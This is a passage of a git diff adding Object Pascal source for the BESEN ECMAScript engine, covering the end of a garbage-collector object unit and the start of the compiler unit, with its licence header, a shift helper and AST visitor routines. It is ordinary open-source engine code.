assigned(CollectorPrevious) then begin + CollectorPrevious.CollectorNext:=self; + end else begin + TBESEN(Instance).Collector.First:=self; + end; + TBESEN(Instance).Collector.Last:=self; +end; + +destructor TBESENCollectorObject.Destroy; +begin + if assigned(CollectorPrevious) then begin + CollectorPrevious.CollectorNext:=CollectorNext; + end else if TBESEN(Instance).Collector.First=self then begin + TBESEN(Instance).Collector.First:=CollectorNext; + end; + if assigned(CollectorNext) then begin + CollectorNext.CollectorPrevious:=CollectorPrevious; + end else if TBESEN(Instance).Collector.Last=self then begin + TBESEN(Instance).Collector.Last:=CollectorPrevious; + end; + CollectorNext:=nil; + CollectorPrevious:=nil; + inherited Destroy; +end; + +end. diff --git a/Core/JS/BESENCompiler.pas b/Core/JS/BESENCompiler.pas new file mode 100644 index 0000000..b4f69ee --- /dev/null +++ b/Core/JS/BESENCompiler.pas @@ -0,0 +1,6597 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCompiler; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENValue,BESENBaseObject,BESENASTNodes, + BESENEvalCacheItem; + +type TBESENCompiler=class(TBESENBaseObject) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function Compile(InputSource:TBESENUTF8STRING;const Parameters:TBESENUTF8STRING='';IsFunction:TBESENBoolean=false;IsJSON:TBESENBoolean=false):TBESENASTNode; + end; + +implementation + +uses BESEN,BESENUtils,BESENPointerList,BESENHashMap,BESENErrors,BESENNumberUtils, + BESENCode,BESENCodeGeneratorContext,BESENOpcodes,BESENHashUtils,BESENGlobals, + BESENParser; + +const bcgtUNDEFINED=$01; + bcgtNULL=$02; + bcgtBOOLEAN=$04; + bcgtNUMBER=$08; + bcgtSTRING=$10; + bcgtOBJECT=$20; + bcgtREFERENCE=$40; + bcgtPRIMITIVE=bcgtUNDEFINED or bcgtNULL or bcgtBOOLEAN or bcgtNUMBER or bcgtSTRING; + bcgtVALUE=bcgtPRIMITIVE or bcgtOBJECT; + +function sar(Value,Shift:integer):integer; +{$ifdef PurePascal}{$ifdef caninline}inline;{$endif} +begin +{$ifdef HasSAR} + result:=SARLongint(Value,Shift); +{$else} + Shift:=Shift and 31; + result:=(longword(Value) shr Shift) or (longword(longint(longword(0-longword(longword(Value) shr 31)) and longword(0-longword(ord(Shift<>0))))) shl (32-Shift)); +{$endif} +end; +{$else} +{$ifdef HasSAR} inline; +begin +result:=SARLongint(Value,Shift); +end; +{$else} +{$ifdef cpu386} +{$ifdef fpc} assembler; register; //inline; +asm + mov ecx,edx + sar eax,cl +end;// ['eax','edx','ecx']; +{$else} assembler; register; +asm + mov ecx,edx + sar eax,cl +end; +{$endif} +{$else} +{$ifdef cpuarm} assembler; //inline; +asm + mov r0,r0,asr R1 +end;// ['r0','R1']; +{$else}{$ifdef caninline}inline;{$endif} +begin +{$ifdef HasSAR} + result:=SARLongint(Value,Shift); +{$else} + Shift:=Shift and 31; + result:=(longword(Value) shr Shift) or (longword(longint(longword(0-longword(longword(Value) shr 31)) and longword(0-longword(ord(Shift<>0))))) shl (32-Shift)); +{$endif} +end; +{$endif} +{$endif} +{$endif} +{$endif} + +constructor TBESENCompiler.Create(AInstance:TObject); +begin + inherited Create(AInstance); +end; + +destructor TBESENCompiler.Destroy; +begin + inherited Destroy; +end; + +function TBESENCompiler.Compile(InputSource:TBESENUTF8STRING;const Parameters:TBESENUTF8STRING='';IsFunction:TBESENBoolean=false;IsJSON:TBESENBoolean=false):TBESENASTNode; + function ConvertToValue(n:TBESENASTNode;var v:TBESENValue):boolean; + begin + case n.NodeType of + bntBOOLEANLITERAL:begin + v.ValueType:=bvtBOOLEAN; + v.Bool:=TBESENASTNodeBooleanLiteral(n).Value; + result:=true; + end; + bntNUMBERLITERAL:begin + v.ValueType:=bvtNUMBER; + v.Num:=TBESENASTNodeNumberLiteral(n).Value; + result:=true; + end; + bntSTRINGLITERAL:begin + v.ValueType:=bvtSTRING; + v.Str:=TBESENASTNodeStringLiteral(n).Value; + result:=true; + end; + else begin + v.ValueType:=bvtNONE; + result:=false; + end; + end; + end; + procedure TrimStuffAfterReturnBreakContinue(Node:TBESENASTNode;var Statements:TBESENASTNodeStatements); + var Counter,NewCount,TrimmedCounter:integer; + Statement:TBESENASTNodeStatement; + begin + NewCount:=length(Statements); + for Counter:=0 to length(Statements)-1 do begin + Statement:=Statements[Counter]; + if assigned(Statement) then begin + case Statement.NodeType of + bntBREAKSTATEMENT,bntCONTINUESTATEMENT,bntRETURNSTATEMENT:begin + NewCount:=Counter+1; + break; + end; + end; + end; + end; + if NewCount<>length(Statements) then begin + TrimmedCounter:=Node.CountTrashNodes; + inc(Node.CountTrashNodes,length(Statements)-NewCount); + if Node.CountTrashNodes>=length(Node.TrashNodes) then begin + SetLength(Node.TrashNodes,Node.CountTrashNodes+256); + end; + for Counter:=NewCount to length(Statements)-1 do begin + Node.TrashNodes[TrimmedCounter]:=Statements[Counter]; + inc(TrimmedCounter); + end; + SetLength(Statements,NewCount); + end; + end; + procedure AddTrashNode(Node,TrashNode:TBESENASTNode); + var Index:integer; + begin + if assigned(Node) and assigned(TrashNode) then begin + Index:=Node.CountTrashNodes; + inc(Node.CountTrashNodes); + if Node.CountTrashNodes>=length(Node.TrashNodes) then begin + SetLength(Node.TrashNodes,Node.CountTrashNodes+256); + end; + Node.TrashNodes[Index]:=TrashNode; + TrashNode:=nil; + end; + end; + function IsLastNodeBreakContinueReturnNode(const Statements:TBESENASTNodeStatements):boolean; + var Counter:integer; + Statement:TBESENASTNodeStatement; + begin + result:=false; + for Counter:=length(Statements)-1 downto 0 do begin + Statement:=Statements[Counter]; + if assigned(Statement) then begin + result:=Statement.NodeType in [bntBREAKSTATEMENT,bntCONTINUESTATEMENT,bntRETURNSTATEMENT]; + break; + end; + end; + end; + function IsBreakContinueReturnNode(Node:TBESENASTNode):boolean; + begin + result:=false; + if assigned(Node) then begin + case Node.NodeType of + bntBREAKSTATEMENT,bntCONTINUESTATEMENT,bntRETURNSTATEMENT:begin + result:=true; + end; + bntBLOCKSTATEMENT:begin + result:=IsLastNodeBreakContinueReturnNode(TBESENASTNodeBlockStatement(Node).Statements); + end; + end; + end; + end; + function HasLabelBreakContinue(RootNode:TBESENASTNode):boolean; + var HasResult:boolean; + procedure Visit(ToVisit:TBESENASTNode); + var Counter:integer; + begin + if assigned(ToVisit) and not HasResult then begin + if ToVisit is TBESENASTNodeStatement then begin + if TBESENASTNodeStatement(ToVisit).Location.LineNumber>0 then begin + TBESEN(Instance).LineNumber:=TBESENASTNodeStatement(ToVisit).Location.LineNumber; + end; + end; + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + end; + bntLITERAL:begin + end; + bntIDENTIFIER:begin + end; + bntVARIABLEDECLARATION:begin + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier); + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression); + end; + bntVARIABLEEXPRESSION:begin + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONBODY:begin + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]); + end; + end; + bntFUNCTIONLITERAL:begin + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body); + end; + bntSTATEMENT:begin + end; + bntVARIABLESTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONDECLARATION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal); + end; + end; + bntEXPRESSIONSTATEMENT:begin + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression); + end; + bntEMPTYSTATEMENT:begin + end; + bntBLOCKSTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter]); + end; + end; + bntDEBUGGERSTATEMENT:begin + end; + bntBREAKSTATEMENT:begin + Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier); + if assigned(TBESENASTNodeBreakStatement(ToVisit).Identifier) then begin + HasResult:=true; + end; + end; + bntCONTINUESTATEMENT:begin + Visit(TBESENASTNodeContinueStatement(ToVisit).Identifier); + if assigned(TBESENASTNodeContinueStatement(ToVisit).Identifier) then begin + HasResult:=true; + end; + end; + bntDOSTATEMENT:begin + Visit(TBESENASTNodeDoStatement(ToVisit).Statement); + Visit(TBESENASTNodeDoStatement(ToVisit).Expression); + end; + bntWHILESTATEMENT:begin + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression); + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement); + end; + bntWITHSTATEMENT:begin + Visit(TBESENASTNodeWithStatement(ToVisit).Expression); + Visit(TBESENASTNodeWithStatement(ToVisit).Statement); + end; + bntFORSTATEMENT:begin + Visit(TBESENASTNodeForStatement(ToVisit).Initial); + Visit(TBESENASTNodeForStatement(ToVisit).Condition); + Visit(TBESENASTNodeForStatement(ToVisit).Increment); + Visit(TBESENASTNodeForStatement(ToVisit).Statement); + end; + bntFORINSTATEMENT:begin + Visit(TBESENASTNodeForInStatement(ToVisit).Variable); + Visit(TBESENASTNodeForInStatement(ToVisit).Expression); + Visit(TBESENASTNodeForInStatement(ToVisit).Statement); + end; + bntIFSTATEMENT:begin + Visit(TBESENASTNodeIfStatement(ToVisit).Expression); + Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement); + Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement); + end; + bntLABELLEDSTATEMENT:begin + HasResult:=true; + for Counter:=0 to length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)-1 do begin + Visit(TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter]); + end; + Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement); + end; + bntCASESTATEMENT:begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Expression); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter]); + end; + end; + bntSWITCHSTATEMENT:begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter]); + end; + end; + bntTHROWSTATEMENT:begin + Visit(TBESENASTNodeThrowStatement(ToVisit).Expression); + end; + bntTRYSTATEMENT:begin + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock); + Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock); + end; + bntARRAYLITERAL:begin + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + if assigned(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]) then begin + Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]); + end; + end; + end; + bntBINARYEXPRESSION:begin + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression); + end; + bntBINARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression); + end; + bntBINARYCOMMAEXPRESSION:begin + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression); + end; + bntBINARYDIVIDEEXPRESSION:begin + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression); + end; + bntBINARYMODULOEXPRESSION:begin + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression); + end; + bntBINARYMULTIPLYEXPRESSION:begin + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression); + end; + bntBINARYPLUSEXPRESSION:begin + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression); + end; + bntBINARYMINUSEXPRESSION:begin + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression); + end; + bntBINARYGREATERTHANEXPRESSION:begin + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression); + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression); + end; + bntBINARYLESSTHANEXPRESSION:begin + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression); + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression); + end; + bntBINARYINSTANCEOFEXPRESSION:begin + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression); + end; + bntBINARYINEXPRESSION:begin + Visit(TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryInExpression(ToVisit).RightExpression); + end; + bntBINARYEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYNOTEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression); + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEANDEXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEXOREXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEOREXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression); + end; + bntBOOLEANLITERAL:begin + end; + bntCALLEXPRESSION:begin + Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter]); + end; + end; + bntNEWEXPRESSION:begin + Visit(TBESENASTNodeNewExpression(ToVisit).TheFunction); + for Counter:=0 to length(TBESENASTNodeNewExpression(ToVisit).Arguments)-1 do begin + Visit(TBESENASTNodeNewExpression(ToVisit).Arguments[Counter]); + end; + end; + bntCONDITIONALEXPRESSION:begin + Visit(TBESENASTNodeConditionalExpression(ToVisit).Expression); + Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression); + Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression); + end; + bntUNARYEXPRESSION:begin + Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression); + end; + bntUNARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression); + end; + bntUNARYPLUSEXPRESSION:begin + Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression); + end; + bntUNARYMINUSEXPRESSION:begin + Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression); + end; + bntUNARYBITWISENOTEXPRESSION:begin + Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression); + end; + bntUNARYLOGICALNOTEXPRESSION:begin + Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression); + end; + bntUNARYVOIDEXPRESSION:begin + Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression); + end; + bntUNARYTYPEOFEXPRESSION:begin + Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression); + end; + bntPROPERTYEXPRESSION:begin + Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression); + end; + bntLOGICALANDEXPRESSION:begin + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression); + end; + bntLOGICALOREXPRESSION:begin + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression); + end; + bntDELETEEXPRESSION:begin + Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression); + end; + bntPOSTFIXINCEXPRESSION:begin + Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression); + end; + bntPOSTFIXDECEXPRESSION:begin + Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression); + end; + bntPREFIXINCEXPRESSION:begin + Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression); + end; + bntPREFIXDECEXPRESSION:begin + Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression); + end; + bntNULLLITERAL:begin + end; + bntNUMBERLITERAL:begin + end; + bntREGEXPLITERAL:begin + end; + bntSTRINGLITERAL:begin + end; + bntTHISLITERAL:begin + end; + bntOBJECTLITERALPROPERTY:begin + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value); + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal); + end; + end; + bntOBJECTLITERAL:begin + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter]); + end; + end; + bntRETURNSTATEMENT:begin + Visit(TBESENASTNodeReturnStatement(ToVisit).Expression); + end; + bntPROGRAM:begin + Visit(TBESENASTNodeProgram(ToVisit).Body); + end; + bntFUNCTIONEXPRESSION:begin + if assigned(TBESENASTNodeFunctionExpression(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal); + end; + end; + end; + end; + end; + begin + HasResult:=false; + Visit(RootNode); + result:=HasResult; + end; + procedure CheckNodeForFeatures(RootNode:TBESENASTNode;var HasLocalDelete,IsComplexFunction,HasMaybeDirectEval,HasFunctions,HoldLocalVariablesInRegisters:boolean); + procedure Visit(ToVisit:TBESENASTNode); + var Counter:integer; + begin + if assigned(ToVisit) then begin + if ToVisit is TBESENASTNodeStatement then begin + if TBESENASTNodeStatement(ToVisit).Location.LineNumber>0 then begin + TBESEN(Instance).LineNumber:=TBESENASTNodeStatement(ToVisit).Location.LineNumber; + end; + end; + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + end; + bntLITERAL:begin + end; + bntIDENTIFIER:begin + if (TBESENASTNodeIdentifier(ToVisit).Name='eval') or (TBESENASTNodeIdentifier(ToVisit).Name='arguments') then begin + if TBESENASTNodeIdentifier(ToVisit).Name='eval' then begin + HasMaybeDirectEval:=true; + end; + IsComplexFunction:=true; + HoldLocalVariablesInRegisters:=false; + end; + end; + bntVARIABLEDECLARATION:begin + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier); + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression); + end; + bntVARIABLEEXPRESSION:begin + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONBODY:begin + IsComplexFunction:=true; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]); + end; + end; + bntFUNCTIONLITERAL:begin + IsComplexFunction:=true; + HasFunctions:=true; + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body); + end; + bntSTATEMENT:begin + end; + bntVARIABLESTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONDECLARATION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal); + end; + end; + bntEXPRESSIONSTATEMENT:begin + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression); + end; + bntEMPTYSTATEMENT:begin + end; + bntBLOCKSTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter]); + end; + end; + bntDEBUGGERSTATEMENT:begin + end; + bntBREAKSTATEMENT:begin + Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier); + end; + bntCONTINUESTATEMENT:begin + Visit(TBESENASTNodeContinueStatement(ToVisit).Identifier); + end; + bntDOSTATEMENT:begin + Visit(TBESENASTNodeDoStatement(ToVisit).Statement); + Visit(TBESENASTNodeDoStatement(ToVisit).Expression); + end; + bntWHILESTATEMENT:begin + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression); + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement); + end; + bntWITHSTATEMENT:begin + HoldLocalVariablesInRegisters:=false; + Visit(TBESENASTNodeWithStatement(ToVisit).Expression); + Visit(TBESENASTNodeWithStatement(ToVisit).Statement); + end; + bntFORSTATEMENT:begin + Visit(TBESENASTNodeForStatement(ToVisit).Initial); + Visit(TBESENASTNodeForStatement(ToVisit).Condition); + Visit(TBESENASTNodeForStatement(ToVisit).Increment); + Visit(TBESENASTNodeForStatement(ToVisit).Statement); + end; + bntFORINSTATEMENT:begin + Visit(TBESENASTNodeForInStatement(ToVisit).Variable); + Visit(TBESENASTNodeForInStatement(ToVisit).Expression); + Visit(TBESENASTNodeForInStatement(ToVisit).Statement); + end; + bntIFSTATEMENT:begin + Visit(TBESENASTNodeIfStatement(ToVisit).Expression); + Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement); + Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement); + end; + bntLABELLEDSTATEMENT:begin + for Counter:=0 to length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)-1 do begin + Visit(TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter]); + end; + Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement); + end; + bntCASESTATEMENT:begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Expression); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter]); + end; + end; + bntSWITCHSTATEMENT:begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter]); + end; + end; + bntTHROWSTATEMENT:begin + Visit(TBESENASTNodeThrowStatement(ToVisit).Expression); + end; + bntTRYSTATEMENT:begin + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock); + Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock); + HoldLocalVariablesInRegisters:=false; + end; + bntARRAYLITERAL:begin + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + if assigned(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]) then begin + 